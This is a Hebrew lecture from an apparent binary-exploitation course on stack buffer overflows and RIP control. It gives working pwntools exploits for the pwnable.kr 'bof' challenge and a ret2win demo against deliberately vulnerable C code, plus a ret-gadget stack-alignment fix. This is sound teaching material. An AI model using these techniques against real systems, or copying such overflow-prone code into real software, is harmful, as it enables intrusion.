2.1 אנטומיה של גלישה ושליטה בRIP הרצאה
בפרקים הקודמים ראינו איך תוכנה נשברת בגלל באגים לוגיים, בלי לגעת בזיכרון בכלל. עכשיו אנחנו נכנסים ללב של הקורס: החולשה שבנתה את כל התחום, buffer overflow על המחסנית. בשיעור הזה נפרק לרסיסים מה בדיוק קורה בזיכרון כשכותבים מעבר לגבול של buffer מקומי, איך הבתים הנוספים דורסים קודם את ה-rbp השמור ואחר כך את הreturn address, ולמה דריסה של הreturn address שקולה לשליטה מלאה בזרימת הביצוע של התוכנית. את התיאוריה נמסמר על שני יעדים אמיתיים: האתגר bof מ-pwnable.kr, ודמו מקומי שבו נשתלט על RIP ונקפוץ לפונקציה שאנחנו בוחרים.
מי שעבר את קורס ליבת-המחשב כבר מכיר את כל אבני הבניין: מחסנית, אוגרים, מוסכמת קריאה, ELF ו-GDB. כאן אנחנו לא לומדים אותם מחדש, אלא מלמדים אותם לעבוד בשבילנו.
תזכורת - מבנה של מסגרת מחסנית - stack frame¶
כשפונקציה נקראת, המעבד והקומפיילר בונים לה מסגרת (frame) על המחסנית. חשוב להפנים שני דברים לפני הכל:
- המחסנית גדלה כלפי כתובות נמוכות. כל
pushוכלcallמקטינים אתrsp. - הbuffers (מערכים מקומיים) נכתבים כלפי כתובות גבוהות.
buf[0]נמצא בכתובת נמוכה,buf[63]בכתובת גבוהה יותר.
שני הכיוונים ההפוכים האלה הם כל הסיפור. הנתונים שאנחנו שולטים בהם (הbuffer) גדלים בדיוק לכיוון הדברים הרגישים (ה-rbp השמור והreturn address).
בואו נסתכל על מסגרת טיפוסית של פונקציה עם buffer מקומי, במערכת 64 ביט:
high addresses
+------------------------------+
| arguments passed on the stack | (first ones in rdi/rsi/... on 64-bit)
+------------------------------+
| return address | <-- [rbp+8] ret jumps here
+------------------------------+
| saved rbp | <-- [rbp] rbp of the calling function
+------------------------------+
| other local variables |
+------------------------------+
| char buf[64] | <-- [rbp-0x40] the buffer, grows upward
+------------------------------+
low addresses (top of stack, rsp)
הפרט הכי חשוב בתמונה: הreturn address יושבת מעל הbuffer, בכתובת גבוהה יותר. כשנכתוב לתוך buf ונמשיך לכתוב מעבר ל-64 הבתים שלו, נזחל כלפי מעלה ונדרוס קודם את ה-rbp השמור, ואז את הreturn address עצמה.
ב-32 ביט התמונה כמעט זהה, רק שהאוגרים נקראים ebp/esp, הreturn address ב-[ebp+4], וה-ארגומנטים לפונקציה מועברים על המחסנית (מוסכמת cdecl), מעל הreturn address. שימו לב לנקודה הזו, היא בדיוק מה שיאפשר לנו לפתור את bof.
הoverflow - מה בדיוק נדרס¶
נסתכל על הקוד הvulnerable הקלאסי:
#include <stdio.h>
void vuln() {
char buf[64];
gets(buf); // gets never checks the length, ever
}
int main() {
vuln();
puts("returned safely");
return 0;
}
הפונקציה gets() קוראת שורה מהקלט ומעתיקה אותה ל-buf, בלי לדעת ובלי לבדוק כמה בתים היא כותבת. אם נזין 64 בתים או פחות, הכל תקין. אבל אם נזין 80 בתים, 16 הבתים העודפים ימשיכו להיכתב מעבר לסוף הbuffer:
before the overflow after writing 80 bytes
+---------------------------+ +---------------------------+
| return address | | return address <- overwritten! |
+---------------------------+ +---------------------------+
| saved rbp | | saved rbp <- overwritten! |
+---------------------------+ +---------------------------+
| buf[63..0] (64 bytes) | | buf[63..0] = 'A'*64 |
+---------------------------+ +---------------------------+
הבתים 65 עד 72 דורסים את ה-rbp השמור, והבתים שאחריהם דורסים את הreturn address. עד עכשיו לא עשינו כלום מיוחד: פשוט שברנו נתונים. הקסם מתחיל ברגע שהפונקציה מסיימת.
שליטה במצביע ההוראות - RIP¶
בסוף כל פונקציה יש הוראת ret. מה ret עושה בפועל? היא שקולה ל:
כלומר ret לוקחת את הערך שיושב בהreturn address, מכניסה אותו למצביע ההוראות rip, והמעבד ממשיך לרוץ משם. עכשיו חברו את זה לoverflow: אם הצלחנו לדרוס את הreturn address בערך שאנחנו בחרנו, אז ה-ret תקפיץ את הביצוע בדיוק לכתובת שרשמנו. זה מה שקוראים לו שליטה ב-RIP, וזו נקודת המפנה של כל הקורס.
what happens at ret after a successful overflow:
rsp --> +---------------------------+
| 0x401156 (our address) | ret pops this
+---------------------------+
|
v
rip = 0x401156 --> the CPU executes what's there
ברגע שיש לנו את היכולת הזו, אנחנו לא סתם מקריסים את התוכנית. אנחנו מחליטים לאן היא רצה. אפשר לקפוץ לפונקציה שכבר קיימת בבינארי, אפשר לקפוץ ל-shellcode שהזרקנו, ואפשר לשרשר גאדג'טים. כל אלה נבנים על אותה יסודה: לדרוס את הreturn address במדויק.
שני דברים צריך כדי לנצל את זה:
- את ה-offset המדויק מתחילת הbuffer ועד הreturn address. בדוגמה למעלה זה 64 (הbuffer) ועוד 8 (ה-rbp השמור), כלומר 72 בתים. בשיעור הבא (2.2) נלמד למצוא את ה-offset אוטומטית עם
cyclic, בלי לנחש. - כתובת יעד חוקית לקפוץ אליה. אם נכתוב זבל, נקבל קריסה (SIGSEGV). אם נכתוב כתובת אמיתית, נקבל שליטה.
לפני שנקפוץ לreturn address, נתחמם על מטרה קלה יותר: לדרוס משתנה מקומי בודד. זה בדיוק האתגר bof.
המקרה הראשון - bof מ-pwnable.kr¶
האתגר bof הוא ההיכרות הראשונה של כמעט כל pwner עם buffer overflow. הנה קוד המקור שלו (הבינארי הוא 32 ביט):
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
בואו נקרא את זה בעיניים של תוקף. main קורא ל-func(0xdeadbeef), אז הארגומנט key שווה בהתחלה ל-0xdeadbeef. הפונקציה func בודקת אם key == 0xcafebabe, ורק אז מריצה shell. במבט ראשון זה נראה בלתי אפשרי, כי key הוזרק כקבוע בקוד. אבל שימו לב איפה key יושב בזיכרון.
זו מערכת 32 ביט עם מוסכמת cdecl, ולכן הארגומנט key הועבר על המחסנית, מעל הreturn address של func. והbuffer overflowme יושב בתוך המסגרת של func, מתחתיו. כלומר, שוב, הbuffer שאנחנו שולטים בו נמצא מתחת ליעד שאנחנו רוצים לדרוס:
high addresses
+------------------------------+
| key = 0xdeadbeef | <-- [ebp+8] our target!
+------------------------------+
| return address of func | <-- [ebp+4]
+------------------------------+
| saved ebp | <-- [ebp]
+------------------------------+
| ... compiler padding ... |
+------------------------------+
| char overflowme[32] | <-- [ebp-0x2c] gets writes here
+------------------------------+
low addresses
הפעם אנחנו לא צריכים לגעת בreturn address בכלל. אנחנו רק צריכים לכתוב מספיק בתים כדי לזחול מ-overflowme עד key, ואז לכתוב שם את הערך 0xcafebabe. ה-gets תשמח לכתוב לנו כמה בתים שנרצה.
איך יודעים כמה בתים לרפד? מפרקים את הבינארי. בדיסאסמבלי של func רואים שני מספרים מפתח:
lea eax, [ebp-0x2c] ; overflowme is at ebp-0x2c
...
cmp dword [ebp+0x8], 0xcafebabe ; key is at ebp+0x8
המרחק מ-overflowme (בכתובת ebp-0x2c) ועד key (בכתובת ebp+0x8) הוא 0x2c + 0x8 = 0x34, כלומר 52 בתים. לכן ה-payload הוא 52 בתים של padding, ואז 4 בתים של 0xcafebabe:
from pwn import *
payload = b'A' * 52 # padding up to the key variable
payload += p32(0xcafebabe) # overwrite key with the value the check expects
זהו. ברגע ש-gets מסיימת, func בודקת את key, מוצאת 0xcafebabe, ומריצה system("/bin/sh"). השירות מאזין ב-nc pwnable.kr 9000, ואת חיבור ה-remote והפתרון המלא נראה בקובץ הפתרון של השיעור הזה. את השלב של מציאת ה-offset עשינו כאן ידנית מהדיסאסמבלי, ובשיעור 2.2 נעשה אותו אוטומטית.
הרעיון להפנים: הbuffer overflow לא חייבת לדרוס את הreturn address. לפעמים דריסה של משתנה מקומי בודד או של ארגומנט מספיקה כדי לשבור את הלוגיקה של התוכנית. bof הוא המקרה הכי נקי של זה.
מהמשתנה המקומי לreturn address - שליטה ב-RIP¶
עכשיו נעלה מדרגה. במקום לדרוס משתנה, נדרוס את הreturn address ונקפוץ לפונקציה שאנחנו בוחרים. נעבוד על דמו מקומי, ב-64 ביט, שאפשר להדר ולהריץ על מכונת הלימוד:
// demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
puts("[+] you took control!");
system("/bin/sh");
}
void vuln() {
char buf[64];
printf("send: ");
read(0, buf, 256); // reads up to 256 bytes into a 64-byte buffer -> overflow
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
puts("bye");
return 0;
}
הפונקציה win() היא הפרס שלנו: היא פותחת shell, אבל התוכנית אף פעם לא קוראת לה בעצמה. המטרה שלנו היא לגרום ל-vuln לחזור אל win במקום אל main.
נהדר את הדמו עם ההגנות מכובות, כי זה שיעור אנטומיה ולא מירוץ מכשולים. בהמשך הקורס נלמד לעקוף כל אחת מההגנות בנפרד:
- הדגל
-fno-stack-protectorמכבה את ה-canary, כך שנוכל לדרוס את הreturn address בלי שנתפס. - הדגל
-no-pieנועל את הקוד בכתובת קבועה, כך שהכתובת שלwinלא משתנה בין הרצות, גם אם ASLR של המערכת דלוק. ה-NX נשאר דלוק כברירת מחדל, וזה בסדר: אנחנו לא מריצים קוד על המחסנית, רק קופצים לקוד שכבר קיים בבינארי.
תמיד, לפני שכותבים exploit, בודקים אילו הגנות פעילות:
פלט צפוי:
עכשיו שני הנתונים שאנחנו צריכים: ה-offset והיעד.
היעד הוא הכתובת של win. מכיוון שהבינארי הוא No PIE, היא קבועה. שולפים אותה בקלות:
או, בתוך pwntools, פשוט elf.symbols['win'] ולא צריך לזכור מספרים.
ה-offset מתחילת buf ועד הreturn address. מהדיסאסמבלי של vuln נראה שהbuffer יושב ב-rbp-0x40:
מ-rbp-0x40 ועד ה-rbp השמור (בכתובת rbp) יש 0x40 = 64 בתים, ועוד 8 בתים של ה-rbp השמור עצמו, ואז מגיעים לreturn address. סך הכל 72 בתים padding. אל תסמכו על החישוב הזה בעיניים סגורות - הקומפיילר לפעמים מוסיף alignment padding. בשיעור 2.2 נאמת אותו בשנייה עם cyclic. כאן אפשר לאמת ידנית ב-GDB: שוברים אחרי ה-read, ומודדים את המרחק בין כתובת הbuffer לבין הreturn address ($rbp+8).
עכשיו ה-exploit המלא:
from pwn import *
context.binary = elf = ELF('./demo')
p = process('./demo')
offset = 72
payload = b'A' * offset # fills buf and the saved rbp
payload += p64(elf.symbols['win']) # overwrites the return address with the address of win
p.sendline(payload)
p.interactive() # get a shell
הסכימה שנוצרת על המחסנית ברגע שהoverflow מסתיימת:
high addresses
+------------------------------+
| p64(&win) = 0x401156 | <-- we overwrote the return address. ret jumps here
+------------------------------+
| 'AAAAAAAA' | <-- saved rbp (overwritten, we don't care)
+------------------------------+
| 'AAAA...AAAA' (64 bytes) | <-- buf
+------------------------------+
low addresses
כש-vuln מבצעת ret, היא שולפת את 0x401156 לתוך rip, והמעבד קופץ ל-win. פתחנו shell מקוד שהתוכנית אפילו לא התכוונה להריץ.
מלכודת יישור המחסנית - stack alignment¶
יש כאן מוקש אחד שכדאי להכיר כבר עכשיו. במעבדי x86-64, לפני קריאה לפונקציה, ה-ABI דורש שהמחסנית תהיה מיושרת ל-16 בתים. הפונקציה system בגרסאות glibc מודרניות מריצה הוראת movaps שקורסת (SIGSEGV) אם rsp לא מיושר. אחרי שדרסנו את הreturn address וקפצנו ל-win, לפעמים הalignment יוצא לא נכון וה-shell מת בתוך system.
הפתרון הקלאסי: לפני הכתובת של win, נשים כתובת של גאדג'ט ret בודד. הוא לא עושה כלום מלבד להזיז את rsp ב-8 בתים, וזה בדיוק מיישר את המחסנית:
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0] # address of a single ret instruction in the binary
payload = b'A' * offset
payload += p64(ret) # aligns the stack to 16 bytes
payload += p64(elf.symbols['win'])
אם ה-shell עובד גם בלי הגאדג'ט, מצוין, אל תוסיפו אותו. אם הוא קורס בתוך system על movaps, הוספת ה-ret תפתור את זה מיד. את הרעיון של קפיצה לפונקציה קיימת (ret2win) נרחיב לעומק בשיעור 2.3.
מה עם ההגנות - checksec¶
חשוב להיות ישרים לגבי מתי מה שראינו כאן עובד. בדמו כיבינו את ההגנות בכוונה, אבל בשטח לא תמיד יהיה לכם את המותרות הזאת. הנה איך כל הגנה משפיעה על מה שעשינו:
| הגנה | מצב בדמו | ההשפעה על התקיפה שלנו |
|---|---|---|
| קנרי - Stack Canary | כבוי | אילו היה דלוק, דריסה של הreturn address הייתה נתפסת. צריך קודם לדלוף את הcanary |
| ללא הרצה - NX | דלוק | לא מפריע לנו כאן, כי אנחנו קופצים לקוד קיים ולא מריצים shellcode על המחסנית |
| מיקום אקראי - PIE | כבוי | אילו היה דלוק, כתובת win הייתה משתנה בכל הרצה, והיינו צריכים leak כתובת |
| כתובות אקראיות - ASLR | לא רלוונטי לקוד | עם No PIE, הקוד קבוע בזיכרון גם כש-ASLR של המערכת דלוק |
הטבלה הזו היא מפת הדרכים של שאר הפרק ושל הקורס כולו. כל אחד מ-Canary, NX, PIE ו-ASLR מקבל שיעור משלו, ובכל שיעור נלמד את הטריק שמחזיר לנו את השליטה ב-RIP. אבל היסוד תמיד יישאר זהה למה שראינו כאן: למצוא offset, ולדרוס את הreturn address.
סיכום¶
- המחסנית גדלה כלפי כתובות נמוכות, אבל buffers נכתבים כלפי כתובות גבוהות, ולכן overflow זוחלת ישר לעבר ה-rbp השמור והreturn address.
- כתיבה מעבר לגבול של buffer מקומי דורסת קודם משתנים מקומיים, אחר כך את ה-rbp השמור, ואז את הreturn address.
- ההוראה
retשקולה ל-pop rip. דריסה מדויקת של הreturn address נותנת שליטה מלאה במצביע ההוראות, כלומר ב-RIP. - לא כל overflow חייבת לגעת בreturn address. באתגר bof מספיק לדרוס ארגומנט מקומי בערך
0xcafebabe, במרחק 52 בתים מהbuffer, כדי לפתוח shell. - כדי לשלוט ב-RIP צריך שני דברים: את ה-offset המדויק לreturn address, וכתובת יעד חוקית לקפוץ אליה.
- בדמו מקומי בלי canary ובלי PIE, דרסנו את הreturn address בכתובת של
winוקיבלנו shell. שימו לב למלכודת alignment המחסנית ולתיקון עם גאדג'טretבודד. - תמיד מריצים
checksecלפני שכותבים exploit. ההגנות שדלוקות קובעות איזו טכניקה תצטרכו.